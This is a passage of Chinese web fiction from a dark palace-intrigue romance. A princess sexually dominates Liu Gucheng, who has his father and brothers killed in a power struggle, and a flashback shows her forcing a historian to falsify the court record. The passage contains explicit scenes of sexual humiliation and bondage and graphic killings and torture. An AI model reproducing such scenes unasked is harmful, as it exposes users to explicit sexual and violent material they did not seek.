柳孤城身子一颤,却很快便勒着自己死死不动。 香炉虔敬地向上高仰,线香燃得越久,炉里便越来越热,它却一动也不敢动。 就算知道那些什么长长久久的祝愿也不过是支配者杜撰出来的故事,不过是为了亵玩自己——只要有万分之一的可能,他还是那么的义无反顾。 柳孤城趴在主人脚下,四肢着地,只敢小幅度的蠕动,小心翼翼的不敢晃着了自己的“香炉”。 深夜的墓园里,只有冷风吹过的飒飒声,和两人之间不加掩饰的粗重呼吸,在沉默之中昭示着两个人对彼此的晦暗欲望。 没有一丝预警的,玉足踩在他的背上。 柳孤城背后一塌,却很快便重新拱起身子,稳住香炉里摇摇欲坠的线香。 像是小狗长了尾巴,却为了主人而忍着天性,不去摇动自己的尾巴。 眼前的景象让人过于血脉贲张,越长风喉间一缩,吞了一口口水,压下心中的情潮翻滚,哑声命令:“柳孤城,对着你的大哥,你的家族,对着这个天下,宣告你是我的所有物。” 第65章 第65章叛徒、太后、造王者 柳家墓园里有守陵人起的房子。 房子自然被事先清场的玄武卫“征用”了,越长风带着满身狼藉的柳孤城进了屋,直接往床上躺去:“过来,服侍我。” 柳孤城已经被调教得只需支配者的一个颜色便知道她想要他服侍哪里、用什么服侍,也不用她多言,轻轻应了声“是”便从床尾爬了进去,殷殷勤勤的工作起来。 越长风一开始还嘉奖地揉着他的头,后来似乎是玩腻了他,一脚把人踹下床去,转头鼻息已是平稳而沉重,显然已经入睡。 就在这时,一阵不规则的鸟叫声恰好在窗外响起。 越长风没有像往常一样抱着他入睡,反而方便了柳孤城的行动,他穿上衣服轻手摄脚的走出屋外,鸟叫声更加清晰的再次响起。 他试探性的往其中一个方向走了十几步,感觉不出附近有任何生人气息,才掉头往鸟叫声的方向走去。 又走了几十步,绕到柳家某任家主的陵墓后面,果不其然有一抹人影在等待着他。 “阁主。”人影若隐若现,不仔细看的话几乎无法从周遭黑暗中分辨出来,正是聚贤阁的黑衣死士。 柳孤城负手而立,淡淡问:“情况怎么样了?” “一如阁主所料。”死士目无表情的道。“叛徒已经进了阁里,正在往水牢而去。” 柳孤城冷冷一笑,水牢里还有什么,不过是那个已经失去身份、在每日的割肉凌迟之中还堪堪吊住一条命的柳家前家主罢了。 “我们只需坐享其成便可。”他的目光不自然地看向了那间熄了灯火的屋子,又加了一句,“只是他们别让我等太久了。” 越长风一向在天光将亮的时候醒来,不出意外他还有两个时辰的时间。 死士的表情一向都是木无表情,但此时他的表情有些奇怪。 柳孤城也感觉到了。“还有什么事?” “顾翰林……也在下面。” “什么?”柳孤城脸色大变。“谁让他来的?” “本座早已把他驱逐出阁,谁让他进去的?” 死士低下了头,“是对面的人。” “他们借阁主之名把顾翰林骗到这里,然后属于他们的人出来接了他。” “属下来不及阻止顾翰林,又不敢跳出来不敢打草惊蛇,只能看着他们将他带了进去……” “可以借我之名,就只有知道我的身份,以及我和顾锦卿之间关系的人。”柳孤城冷笑。“那本座知道了,萧度手上有什么赌注。” ----- 本来埋伏在地道出口的黑衣死士跟随着脸色阴沉的柳孤城下了地底,几乎是小跑着的、用的却依旧是无声的脚步,一路来到聚贤阁的地下宫殿门前。 聚贤阁里出了叛徒。 叛徒筹谋已久,柳孤城也很有耐性,就算一直在长公主府里足不出“笼”,也无阻他的千里布局,为的就是清理门户。 这一晚的计划本来是来个引蛇出洞,然后再一网打尽,但计划显然已经赶不上变化。 他要救顾锦卿。 那是柳孤城这一辈子,唯一的朋友。 地下宫殿从里面锁着的门被黑衣死士强行撞开,奢华糜逸的殿堂里此刻满满的肃杀气息,柳孤城平日坐着的太师椅里坐了一个中年男人。 见他进来,也没有起身的意思,好整以暇的靠在椅里。“柳孤城……喔不,是柳十二。” 他嘴角微勾,勾起一抹嘲弄的笑:“或者应该尊称一声,阁主。” 男人口中说的是尊称,听者却听不出来半分尊敬之意。“有谁知道,从来不以真面目示人的聚贤阁主,竟然就是从柳家暗卫营半途出家的、一个卑微的小贱人呢。” 若是放在从前,柳孤城就算不是当场发作,大概也会被这一句弄得心烦意乱。 可经历过今晚在柳家墓园的一切之后,他的心境却是异常的平静。 就好像那些不堪的过去,其实也并不是那么难去面对。 “萧大人。” 他淡淡环视殿堂四周,果然看见了男人身后,被柳二郎和柳三郎一人一边搀扶着的柳老家主。一眼看去,却没有看见顾锦卿的身影。 “既然柳家那些苟延残喘的败类都站在你那一方,本座也没什么不可见人。” “只是,本座好像也跟你说过,你的手伸得太长了。”柳孤城轻轻一笑,负手而立,神情闲适惬意,双目却是没有一丝温度:“本座都不需要你为聚贤阁做些什么了,好好地做你的户部尚书不好么,非要来混这趟浑水?” 萧度一下子站起身来。 “那阁主可否好好向今日在场的人解释一番,为什么不需要我为聚贤阁做些什么?”萧度眉头紧皱,声音里是毫不掩饰的愤怒。 “是不是因为,在阁里唯我独尊的阁主大人,其实早就成了昭阳长公主的禁脔?” 柳孤城高声大喝:“大胆!” 声音里却有着只有自己听见的犹豫和心虚。 萧度饶有兴味的笑:“果然,被我说中了么?” 身后的柳二郎适时的插嘴:“这小贱人在上元宫宴时自己跳进湖里,还到处说是我们推的,其实还不是为了爬上昭阳的床。” 搀扶着的柳老家主身上没有一处完好的肌肤,气息虚弱至极,张了张嘴似乎想说什么 ,剑拔弩张的殿堂里却没有一个人能听得清楚。 柳三郎俯身在他耳边,半晌才对着殿中所有人宣告:“父亲说,你本来就是以奴隶的身份被送给昭阳,聚贤阁在你手中如同白白送给你的主人。” “我们跟随萧大人,是要拨乱反正,重新夺回属于我们的东西。” 像是听见了什么天大的笑话一样,柳孤城忽然大笑出声。 爽朗的笑声在殿中萦绕,细听之下却不无悲凉之意。 他从来都没有把柳家的人当作家人,他们却还比他想像之中的不讲脸面。 为了一己私利,不仅可以大条道理的将那些代代积累的不义之财说成自己理所当然的所有物,还可以把他的一切统统抹杀,意图将他柳孤城重新打回原形,变回什么也不是的柳十二。 大概过了今晚之后,就没有人不会知道他是多么脏污和低贱的东西了吧? 那好,就让所有肮脏污秽的、见不得光的秘密都统统暴露在所有人的面前吧。 柳孤城环视四周,眸光深邃仿佛要把在场的所有人都拉下无尽的深渊。 最后他的视线定定的停在上首的男人身上。 “萧度。” “你那些冠冕堂皇的说辞用来糊弄柳家的那些草包还勉强可以,本座可不相信,你是真心相信你所说的那些鬼话。” “你和本座一样清楚,聚贤阁的财富势力,通通都源自百年世家欺压良民、中饱私囊得来的不义之财。” “你花了这么多人力物力去把这件老东西救出来,不过是为了从他口中探出柳家地下钱庄的位置,然后独吞了里面放着的那些银子,对不对?” 萧度死死地盯着他,没有回应。 柳孤城单手支颐,一副沉思中的样子,脚下还好整以暇的来回踱步。 “柳家这些废物还以为你是真心想把他们救出水火之中,然后重新振兴他们四大世家呢。”柳孤城轻轻一笑,笑中不无蔑视之意。“可你是怎么想的,萧大人?” “其实,你和他们口中那个对着长公主卑躬屈膝、自甘堕落的我,根本没有什么不同。” 柳家三父子面面相觑,显然搞不清楚状况。 萧度终于脸色一青。“你这是什么意思?” “本座的意思是,”柳孤城微微仰首,走到这一步他已是胸有成竹,对自己所认知的真相再没有半分怀疑。“要是给你拿到了聚贤阁的控制权和地下钱庄的钱,你一转身便会把这两样东西交给远在宫中的太后。” 听见“太后”两字,柳家三父子以及聚贤阁里的其他人都通通懵了。 太后……这是一个谁也没有想到的名字。 太后久居深宫,从来都不管事,而且还是昭阳长公主的亲生母亲。 她有什么要从一介外臣手中得到的?又有什么是权倾朝野的越长风给不了的? 除非…… “太后想要借用聚贤阁的力量来除掉长公主。”柳孤城叹了一口气,一字一顿的道:“而你,想做造王者。” “除掉凌驾皇帝之上的摄政长公主,傀儡皇帝才有几会成为真正的皇帝。太后在女儿和儿子之间选择了她的儿子,而你则是知道如果保持公主摄政的现状的话,在聚贤阁里无法越过本座,在朝堂里也无法越过沉相,所以你决定和太后连成一线。” 柳孤城井井有条的作出自己的推论,心里却觉五味杂陈。 越长风对他来说曾经是天上明艳的太阳,是光彩夺目的,是长于阳光之下,一个活得精彩、什么都唾手可得的人。 可是,她是一个女子,更是一个姐姐,在储君之争中她没有被父皇选择,而她的母后白白的坐享其成,却依旧要求她什么都要让着弟弟、什么都要为弟弟着想。 如果让越长风知道了他此刻想法,大概会打他一记耳光,然后要他一边自虐,一边重复他不配可怜主人吧。 柳孤城在心里苦笑一声,重新打起精神。“成功的话,便能一口气除掉阻碍你那青云路的两个人,久居深宫的太后和不过十二岁的小皇帝都必须依赖你这个造王者,这样你就成为在朝廷上和朝廷下都唯我独尊的真正权臣。” “只有拥有这样至高无上的权力,你才可以重新得到常茵。” “常茵”两字一出,柳孤城满意地看到萧度瞳孔一缩,周身气场瞬间降至冰点。 ——他被看穿了。 更/多内容请搜索=频道:= 柳孤城知道,萧度强调他作为越长风禁脔的身份,强调他和越长风之间的关系来作为攻击他的论点,最终其实都源自于自己内心深处的自卑和心虚。 造王者的理由说得冠冕堂皇,然而萧度做这一切的目的与他所指控柳孤城的没有不同,都是为了一个女子。 一个曾经可以抛却一切、跨越阶级鸿沟相爱,最终却因为再也现实不过的原因而导致兰因絮果啲女子。 萧度还没反应过来之前,柳孤城朝背后打了一个手势,身后忠于阁主一方的黑衣死士以迅雷不及掩耳之势,把萧度一方的人重重包围起来。 柳孤城淡淡一笑,悠然道:“常大人是一个怎样的人,你曾经与她夫妻一场,难道还不清楚么?” “你觉得你们当初和离,真的只是因为钱财和权势么?” 他想起了常茵曾经对他说过的话。 他问,长公主是一个怎样的人。 常茵说:【你打从心里认为,女子就应该拥有温婉善良、为爱付出这些美好品质。】 【殿下自己也曾经迷失过,曾经屈服于这些世人的既定观点,但是她本来就不是什么良善之人。】 【柳郎觉得她是变了才会成为现在你所认识的殿下,这样的想法,实在太傲慢了。】 直到今天,他终于明白了这几句话的真正含义。 “你觉得自己可以用钱财和权势来困住她,让她心甘情愿回到你的身边,你是真的认识常茵这个人,还是傲慢地、带着自己的偏见去看她?” 第66章 第66章我们都是弑父杀兄的人了…… 萧度冷笑:“你以为每一个人都和你一样,无论做些什么都是为了一个女人么?” “别自作多情了,阁主。” 柳孤城面色平静,不慌不忙。 他背着手悠悠然的踱着步,笑着反问:“是吗?” “那萧大人知不知道,那一番关于傲慢和偏见的话,其实是谁告诉本座的?” 他会这么问,答案其实也只有一个。 萧度的脸色难看极了。 柳孤城也不待他反应过来,自顾自的回答:“是常茵。我是进了长公主府,还有幸听过常茵亲述你和她之间的故事。” 萧度眸中掠过一丝痛苦:“她怎么能……” 他们两个人之间的事,他的阿茵怎么能把它作为把柄送给那个低贱的禁脔,他现在的死敌。 萧度也是一个谋大事的人,他没有沉浸在悲伤太久,一眨眼的瞬间便已经回过神来,露出了一丝软弱的眼神重新变得冷冽凌厉。 ——然而,还是晚了。 柳孤城只需要他那一下的失神。由黑衣死士组成的包围网在那一刻瞬间收紧,迫得他倒退几步,退到了柳家三父子身旁。 萧度一方的手下也跟着倒退几步,在步步进逼的包围圈内、中央的核心外围形成一层紧密的保护网。 殿上一阵剑拔弩张之势。 柳孤城忽然勾唇一笑。“骗你的。” “你和常茵之间的事,全是我瞎猜的。” “你——!”萧度终于明白了对方根本就只是在玩弄他的情绪,可就算是在明白了的这一刻,心头还是无法遏止的涌起烈火灼烧一样的盛怒。 柳孤城温温和和的说:“可你还是信了,并且受其影响了。” “萧大人,比起你口中的小贱人,你又有多清高?” 双方人马开始打了起来。 萧度策反了不少的人,但柳孤城自担任阁主以来,把阁里抢替和暗卫的身份和自由还给了他们,借此收买了聚贤阁底层的大部份人心,所以遵他所令的黑衣死士更多。 萧度和柳家三父子身侧的手下越来越少,包围网越来越紧,萧度一方已近穷途末路。 萧度眸中一丝精光飞快的转了转,他果断地从腰间拔出佩剑,却不是加入离自己越来越近的战团,而是大力推开 搀扶在柳老家主左右的二郎三郎,一手抓住摇摇欲坠的老人,另一手则是把剑横在他的脖子上。 步步进逼的包围网骤然停下。 “哦?”柳孤城在黑衣死士的簇拥之下缓缓走近,脸上一副慵懒闲适的表情,似是对眼前的变故毫不动容。“先不说这老不死的都被我换了几十块皮了,他现在是你那边的人,萧大人不是觉得他还有什么作为人质的价值吧?” 萧度直直的盯着他,目光里满是精打细算的算计。 他压下声音,低喝道:“阁主千辛万苦把人从诏狱捞出来,还一直在阁里养着,除了对这位可怜的前家主凌迟折磨外,应该还想从他口中问出什么来吧?” 他顿了顿,嘴角微嘲的勾起:“让我猜猜——柳老家主一直都没有真正投诚于你,这些年来敛下的财富有一部分在阁里存着那些账本里,但他还是留了一手,没有交上所有的账本。” 柳孤城依旧慵懒的笑着,成竹在胸的眼神却冷下去了几分。 萧度见他看着自己不语,心里又多了一丝成算。“我也不要什么,放我离开,我把这本活账本交还给你。” 柳孤城依旧一言不发的看着他。 萧度觉得自己猜到了他在想什么,连忙加了一句:“阁主也别想着秋后算帐,在下手中还有一张牌。” 他深深吸了一口气,“阁主也不想看见那个比你更像你大哥的替身暗卫,带着所有和阁主、和聚贤阁有关的秘密,重现世间的吧?” 柳孤城的表情终于起了变化。 深渊一样的眸中覆上了厚厚的阴霾,像是一层浓得化不开的黑雾,惬适自在的笑容也消失不见,本来俊美无俦的脸阴沉晦暗得可怕,甚至有些扭曲。 “你觉得,本座在乎吗。” 他轻轻的问了一句,尾音平伏得仿佛说的只是一句陈述。 柳孤城从来没有觉得自己像这刻一样的麻木过。 什么活账本,什么柳十三,在这一刻他统统都不想去在乎。 “杀了他。” 话音未落,黑衣人便手起刀落往萧度斩去。 ——萧度的反应也是奇快,刀锋还没落到身上,他便抓着柳老家主转了个身,像举着盾牌一样举着柳老家主的身子,一刀便劈在伤痕累累的“人肉盾牌”身上。 从中劈开,血流如注。 柳二郎发出了杀猪一般的凄厉叫声。 柳三郎惊怒交加,难以置信的大喊:“他是你的父亲,你怎么敢——” 柳孤城轻轻一笑,这一切是如此的荒谬,就连他平日发的恶梦也没有像眼前发生的一切这么荒谬,他却没有觉得自己像现在这么清醒过。 “他敢剥夺我的名字、身份和人格,把我送进暗卫营里,我有什么不敢的?” “而且又不是我拿他挡剑,老东西死了又关我什么事?” 他淡然抬手又放下,黑衣死士只听他的指令,往余下的二郎三郎和失去“人肉盾牌”的萧度杀去。 萧度不愧是从聚贤阁底层爬上去的人,他舞着佩剑负隅顽抗,身上横七竖八的一道道刀伤,却依旧伫立原地,负隅顽抗。 柳二郎和柳三郎却没有那样的本事,从来都只是依附着父兄家族的两个草包被眼前阵势吓得屁滚尿流,一个软瘫在地语无伦次地向“尊主”求饶,另一个步步败退,一边用最恶毒的诅咒谩骂着“小贱人”。 柳孤城眼帘微垂,连正眼也不看一眼他们之中的任何一人,只是用眼角的余光瞥见了一个黑衣死士一刀划破柳二郎的喉咙,另一个黑衣死士则是一剑刺进柳三郎的后心,毫不犹豫地捅破整片薄薄的身子,剑尖直从前心穿透出来。 萧度一人难敌架在四周的十数把剑,堪堪避过刺向心脉的致命一击后,大喝一声:“慢着!” “阁主就不在乎顾锦卿的性命了吗?” 听见“顾锦卿”三个字,柳孤城瞳孔一缩,着魔一样泛着血红的眸里不再是一片混沌,多了一丝明显的属于人类的感情——却是明晃晃的愤怒。 黑衣死士的剑停在了萧度的后心。 其余几把刀剑齐齐架在了他的前心、胸肺、脖子一切足以一刀毙命的地方。 柳孤城一步一步的走上前去,在地下宫殿的回音之中,男人的脚步声显得别样沉重。 “顾锦卿在哪里?” 萧度也没想过柳孤城是这么一个油盐不进的人,地下钱庄的财富可以弃若敝履,弑父杀兄的时候连眼也不眨一下,他的软肋却竟是那个由枪替走上朝堂的小状元。 他立时找回了一些底气,再次说了一遍:“我知道顾锦卿在哪里。” 忽然一阵震耳欲聋的脚步声由远而近传来。 脚步声远远比现在在殿堂里双方加起来的人都还要多,而且不止震耳欲聋,还是整齐划一,就像……训练有素的军队一样。 无论是萧度还是柳孤城,还是双方手下人马,脸色都变得凝重。 大殿门外传来一阵清脆如银铃般的笑声。 玄武卫像潮水一样涌进殿里,里三层外三层的包围了包围着萧度等人的黑衣死士。 螳螂捕蝉,黄雀在后。 柳孤城此刻看到的只有这一个画面。 他立时想通了,这一晚他会被塞进马车里带到柳家墓园里,本来就不是支配者的兴之所至。 哪怕她这段日子的早出晚归,那些在长公主府一进一出的看似毫不起眼的小鸟,再往前看她像忽然入了魔障的那一晚,大概就是那时她已经发现了聚贤阁的内讧、萧度和太后的勾结,大概还知道了他一直隐藏的另一个身份,一直都在准备着这一晚将他们一网打尽。 他柳孤城从来都是黄雀脚下践踏逗玩的那只螳螂。 柳孤城像中了魔怔一样呆若木鸡,看着越长风在玄武卫众星拱月的簇拥之下朝自己款款而来,素白的裙摆曳过血迹斑斑的地面,拖出了让人望而生畏的妖艳血痕。 她一直走到柳孤城面前,伸手摸了摸他大汗淋漓的额角,又在他胸前的衣服上擦干手指。 像是故意似的,擦过的地方偏偏是先前用来灭香的位置,薄薄的衣料下敏感红肿至极,擦过的时候掀起阵阵酸麻。 越长风温温柔柔的笑着,目光缱绻缠绵,仿佛最亲密最纯粹的爱人。 却看得柳孤城浑身发毛。 “原来柳郎一声不响的跑了出来,就是为了本宫准备这出好戏。” 柳孤城绝望的合上了眼睛。 耳边却是支配者冷冷的命令:“睁眼。” 她的声音让他如坠冰窖,再次睁大眼睛的时候,看到的却又是那副温情暖煦的眼神。 就像整个世界都被割裂了一样。 “顾锦卿现在在本宫手下安全得很,算是……”越长风歪了歪头,笑得一脸人畜无害。“对柳郎为本宫上演这一出好戏的奖赏?” 柳孤城的心又是一沉。 也是,她既然知道了自己就是聚贤阁主,今晚也是她从萧度的人手中救出了顾锦卿,也就该知道顾锦卿是聚贤阁的人,而自己就是把顾锦卿带进阁里的邻家哥哥。 见他沉默,越长风再次轻笑出声,“柳郎怎么净想着你的邻家弟弟了,本宫可会吃味的喔。” 她笑得眉眼弯弯,语气也是玩笑般的轻松,笑意却远远不及眼底。 玄武卫把刀剑架颈的萧度和包围着他的黑衣死士统统带了下去,地下宫殿里重新变回了空荡荡的样子,只有两个活人,三个死人,以及在空气中挥之不去的血腥味。 越长风缓缓走到柳孤城平时坐着的那张太师椅前坐下,调整了一下姿势,慵懒闲逸地靠在太师椅里。 她微微转头,看了一眼后面躺着的三具尸体,流出来的血染上了华贵精致的绣花鞋底,像是六年前在玄武门前那样,她用脚踩过三位兄长的血迹,任由它染污了自己的鞋子。 只是,这一次的三个死人,是柳孤城的父亲和兄长。 “你知道,本宫进来的时候,都看到什么了吗?” 她的声音温柔和缓, 仿佛暴风雨前的平静。 柳孤城一脸茫然的摇了摇头。 越长风招招手让他跪在身前,伸指抬起他的下巴,逼他直视着她。 她的目光纯粹而专注,是发自内心的真挚和诚恳。 “看到了一个和我一样的人。” “你终于和我一样,都是弑父杀兄的人了。” 柳孤城一下僵住。 弑……父? 第67章 第67章六年前的真相 翰林院的阁楼里,有一部分专门用于储存历代帝王的起居注。 起居注作为历史记载极为重要的一部分,由中书省辖下的起居舍人贴身跟在皇帝身边,如实记录皇帝每时每刻的一言一行,然后封存于负责编修史典的翰林院。 无论发生了什么事,起居舍人在写下来的时候都不得有任何修饰,起居注封存之后也没有人可以更改,所以在起居注上记着的,无论对时人还是后世来说,都是唯一的事实。 关于先帝,承元年间的起居注上记着—— 承元二十二年,太子在玄武门前发动宫变,结果以失败收场,太子、二皇子、三皇子通通在对峙之中丧命,驸马柳时言被波及,禁军副统领陆行舟率领寒门出身的一支精锐叛出乱党,镇北军的裴小将军从北境回来领兵勤王。 宫变落幕之后,承元帝把自己困在含元殿里三日三夜,在第三夜终于让身边的内侍总管传召了在玄武门下生还的长女昭阳公主上殿。 这只是天下人所认知的“事实”。 事实上,含元殿在陆行舟所带领的禁军“保护”之下被围得水泄不通,殿里一角起居舍人捧著书卷瑟瑟缩缩的坐立不安,身后的禁军“好心”的半扶着他。 不到五十的男人在一夜之间变得满头白发,黯淡的眸光一片混沌,浑身酸软无力,在陆行舟带着威胁性的“搀扶”下勉勉强强落座在龙椅上,目无焦距地看向缓缓打开的殿门。 看见一身麻衣孝服款款走来的女郎,承元帝一片混乱的灵台回复了一丝清明,激动的想要从龙椅上跳起身来,却被一脸冰冷的陆行舟以不容抗拒的力量按回椅中。 他张了张嘴,似乎想要大吼什么,却只能发出不成文字的嗬嗬声。 越长风走上台阶,来到精雕细琢的鎏金宝座前,居高临下地俯视着本该是宝座的主人、此刻却像囚犯一样被按在座上动弹不得的帝王。 越长风注视着说不出一个字来的父亲,看着他浑浊的眼底那一点点无力燃烧的怒火,满意的勾起了唇角。 “这就是父皇想要见到的结果?” 承元帝似乎想说什么,却发现自己无法成文,终于绝望地闭上了嘴巴。 越长风一脸惋惜的叹了一口气:“可惜父皇已经说不了话。” “不然大概会说,手足相残,又怎会是朕所乐见?” 大殿一角,禁军把沾了墨水的笔塞进起居舍人颤抖不已的手里:“写。” 起居舍人嗫嚅道:“我……我必须写……写事……事实……” 冰冷的刀锋架在脖子上。 “殿下说什么,那就是事实。” 起居舍人几乎便要吓尿了裤子。“我写……我写。” 越长风像是对大殿一角所发生的事视若无睹一般,目光悲悯的看着自己手不能动、口不能言的父亲,一边淡然说道:“手心手背都是肉,他们三个也是朕的儿子。” 她的目光微凉,自嘲的笑了笑:“虽然女儿在父皇心目中永远都不及儿子来得重要,但我们还是这么说吧。” 起居舍人战战兢兢的在卷宗上写下:手心手背都是肉,他们三个也是朕的儿子。 “然后,女儿会跟父皇说:本宫不也失去了一生一世一双人的好夫君。” 听她提起驸马,承元帝绝望的眼神仿佛多了一丝生机,那一丝生机却是报复性的嘲讽。 越长风也不介意,饶有兴味的看着他眼中变化,淡然笑道:“父皇如果还能控制自己的身子,现在大概会骄傲的扬起脖颈,在自尊上扳回最后一城。” “借机嘲讽:不过两年前,你还愿意用你手上所有权势作为交换,哀求朕给你一个下嫁柳家大郎的机会。” “在昭阳亲手杀了他的时候,心里有什么感受?” 起居舍人匆匆写下,在大刀架颈之下,唯恐落下了一个字。 像是在给起居舍人把这段并不存在的对话记下来的时间一样,越长风止住了话,低头看着自己白皙如玉的手。 在这三天里,这双手她已经不知道濯洗过多少次了,此刻当然是干净得一尘不染。 恍恍惚惚之间,她却仿佛看到了上面擦洗不去的鲜血淋漓。 她眨了眨眼,血迹一下子消散,目光也变得前所未有的冷硬:“而本宫会答。” “没有感受。” 她居高临下的,以胜利者的姿态高高在上的俯视着被困在龙椅里的男人:“本宫已经学会了一个道理,这天下没有什么是独一无二、永远也不可能被取代的。” “男人如是,储君如是。” “这张由累累白骨铺成的黄金座……也如是。” 承元帝不自禁的瑟缩了一下。 然后他口吐白沫,整个身子开始不受控的抽搐起来。 越长风打了一个眼色,陆行舟从怀里掏出一颗药丸塞进穷途末路的帝王口中,捏着他的鼻子逼他服下。 “放心,你现在还死不了。”越长风轻轻一笑。“本宫还需要你多活两年。” “毕竟,本宫刚刚死了三位兄长,还有挚爱的夫君,总不能再死一个父亲的吧?” 她的语调漫不经心得没有半点说服力。 可是,在完全封闭的含元殿里,在起居舍人歪歪斜斜的字迹下,从她口中说出的每一个字,就是从今以后唯一的真相。 越长风搬过一张凳子在黄金座前悠悠坐下,若非殿中一片肃杀的气氛,以及承元帝一副半死不活的样子,此情此景就像从前小女孩在父亲面前承欢膝下,面对面的推心置腹、促膝长谈。 她歪着头支着腮帮,就像从前的小女孩那样纯真无辜的与他对视:“不过,本宫丧兄丧夫,现在悲痛欲绝,父皇也应该给些安慰的吧?” 嘴里说是悲痛欲绝,一双桃花眼里却是笑意盈盈,哪里有半分近似“悲痛”的感情。 越长风顿了顿,然后扬声,显然是说给角落里的起居舍人:“太子之位可以给父皇唯一剩下的儿子,本宫要南境三十郡作为补偿,以及全权处理政事的辅政之名以作安慰,那就够了。” 她站起身来,拍了拍裙上皱褶,长长舒了一口气。“那就……永别了,父皇。” “真怀念你在紫宸殿里给我上课的日子啊。” 她怀念的叹了一口气,转过身子,不再看身后如同死人一样的生身父亲。 “如果你还能给我上最后一课,大概会以一个见惯风浪的父亲对着心高气傲的女儿的语境,语重心长的对我说,” “长风啊,你总会明白,这世间的确会有独一无二的东西的。” “到你明白了的时候,就不能再像这样说不要就不要了。” “但我其实真的可以不要。” 银铃般清脆的声音响彻大殿,越长风止不住的笑出声来,笑着笑着眼眶却悄悄湿了。 “或者有一天我会找到那件让我无法舍弃的东西。” “但直到如今,我曾经所渴望拥有的一切——亲缘、爱情、自由……良心。” “不是都已经通通丢弃了么?” ----- “柳孤城,你现在心里有什么感受?” 越 长风靠着椅背,问出了那个在六年前承元帝并没有真正问过,只存在于她臆想之中的问题。 柳孤城温顺的跪在脚下,轻轻说道:“没有感受。” 他的答案,却是和她当年的答案一模一样。 越长风终于看到他变成了和她一样的人。唯一的不同是,越长风踩着父兄的尸骨成功了,而柳孤城踩着父兄的尸骨失败了。 还有大概柳孤城并没有她那么坏。毕竟他是真的不被当人对待,弑父杀兄的理由本来就比她的有理得多。 “不觉得可惜?” 越长风淡淡问,也没有说是什么可惜,是弑父杀兄可惜,还是功败垂成可惜。` “成王败寇,并不可惜。” 柳孤城的声音平静得不起一丝波澜,仿佛早已接受了这个结果。 “那你的理想呢?” 柳孤城的心里咯噔一声。该来的还是来了。 顾锦卿在她的手上,她是掌控全局的支配者,她既知道他的身份,知道顾锦卿和他的关系,自然也知道那些本来只有天知地知顾锦卿知的东西。 “我……不知道。” 在柳孤城的理想之中,和面前的人本来应该不死不休。 越长风所代表的皇权是天下间一切阶级之别、人与人之间不平等的罪魁祸首。 他本该拉着她,和这个天下固有的规章和制度一起堕下深渊。 现在他却跪在她的脚下,臣服于她温和表象之下毫不掩饰的支配欲,用自己好不容易争回来的自由和尊严,双手奉上来博她一笑。 在他终于意识到堕下深渊的只有自己的时候,想的却是该以怎样的方式下坠才能让深渊更加愉快舒适的把他吞噬。 支配者用沾上殷红的鞋尖挑起他的下巴,表情温温柔柔的,看在他的眼中却有如地狱修罗。 温温和和地说出的话,也活脱脱的就是深渊里的恶鬼: “今天在这里发生的一切,你猜外面的人会怎么看,后世的人又会怎么看?” “没有人理解你的理想,到了最后,你还是和萧度那样为了一己名利而前仆后继的庸人无异。” 越长风抬起脚,凝视着地上脸如死灰的男人,他的下巴被她用鞋子沾上了属于自己父兄的血。 柳孤城和她,明明是两个截然相反的人,现在都一样的……肮脏。 “认清现实吧。你的理想没有意义。” “你的意义……就是我。” 第68章 第68章结局篇1:为什么要不乖…… 萧度在把柳老家主从水牢里救出来的时候,顺手把骗过来当人质的顾锦卿关进了里面。 越长风带人把他从水牢里放出来的时候,小奶狗已经受不住惊吓,一个劲儿的往她身上钻:“姐姐,小狗怕怕。” 却不知更让他害怕的还陆续有来。 他曾经以为“殷姐姐”对他是不同的。 至少,比那个叫行舟的玄武司使要高。至于那个沉相,她也愿意为自己搭路引见。 尤其在大传胪那日,他在长公主府里见过她是怎么调教自己的邻家哥哥的——脱光衣服,像真正的牲畜一样用铁尺项圈绑在柱子上,任由一众男人观看…… 至少,他能叫她姐姐,小狗也不过是代表两人之间亲密关系的昵称,她对自己是用了心的栽培,自己对她的价值也远远超过一条真正的狗。 所以,在顾锦卿扑进越长风怀里的时候,他依旧心存侥幸。 “姐姐怎么找到我的?”他眨了眨一双汪汪泪眼,里面是劫后余生的心有余悸。“小狗也不知道怎么的,就被坏人抓到这里来了……” 越长风皮笑肉不笑的看着他做戏。 她像安慰受惊小狗似的揉着他的头,手指在他凌乱的头发中间穿梭,慢吞吞的说:“小狗不知道,本宫知道啊。” “本宫可是看着你跟了聚贤阁那些人进去,找你的阁主哥哥的。” 顾锦卿只觉如坠冰窖。 终究……还是瞒不住了。 原来阁主把他逐出聚贤阁,就是为了防止这一天的来临。 可是,他还是为了他这个唯一的朋友,回来了。 他不能没有姐姐,但也不能放弃哥哥。 大概他对情感的渴望和贪念令他妄想两全其美。 ……却终于不得不直面两面不是人的的后果。 顾锦卿光滑的身子被一层紧致贴身而又密不透风的缎料包裹起来,除了鼻孔下方有两个小孔维持呼吸以外,从头到脚都不留一丝空间。缎料下面,垂头丧气的小鸟衔住了一支细细的银簪,封住了任何涎液流出的可能;身后也堵了暖玉玉器,耳朵里塞了隔绝声音的两团布匹,嘴里咬住由红绳串起的口中花,绳结绑在脑后,香气在口中弥漫,却也无法开口说话。 在他还能听见声音的时候,越长风在他耳边轻轻一叹:“锦卿明明就是姐姐最听话的小狗。” “为什么要不乖呢。” 然后顾锦卿躺平著被塞进一个箱子里。 箱子也很窄小,仿佛是为他量身定制似的,人一躺进去便被箱子边缘的凹槽恰恰卡住,动不了一丝一毫。 越长风走了。 其实顾锦卿也不确定,他现在目不能视,耳不能听,就连皮肤也完全与外界隔绝,无法凭五感中的任何一感去感知外界发生的任何事。 但是,她大概还是要去收拾残局的。就在柳孤城和萧度双方落得个两败俱伤的时候,作为后面的那只黄雀出场。 顾锦卿也无暇去担心柳孤城那只螳螂,他在水牢被吊了半宿已经很累了,索性双眼一阖,睡了过去。 ----- 顾锦卿醒过来的时候,五感被封的他也不知过了多久,只是感觉自己失去了意识很长一段时间,大概已经是第二天了吧。 他的世界一片死寂,失去了对平时习以为常的一切“常识”的概念,在漫无边际的黑暗之中,人很容易便开始胡思乱想。 例如,他和“殷姐姐”之间的初见。 高贵美丽的女郎与低贱丑恶的贫民窟格格不入,她迈着优雅的莲步款款而来,敲响了那道已是摇摇欲坠的木门。 女郎上上下下的打量着他,带笑的眉眼里带着属于上位者的锋锐和审视,与他对视时却又含着不容抗拒的温柔。 “你是京兆府的解元,顾锦卿?” 顾锦卿移不开眼睛,怔怔的点了点头。 女郎似乎被他呆愣愣的模样逗乐了,轻轻笑出声来。 “想不想玩一个好一点的环境……” “……考状元?” ----- 姐姐为什么还没有回来? 阁主那边怎么样了? 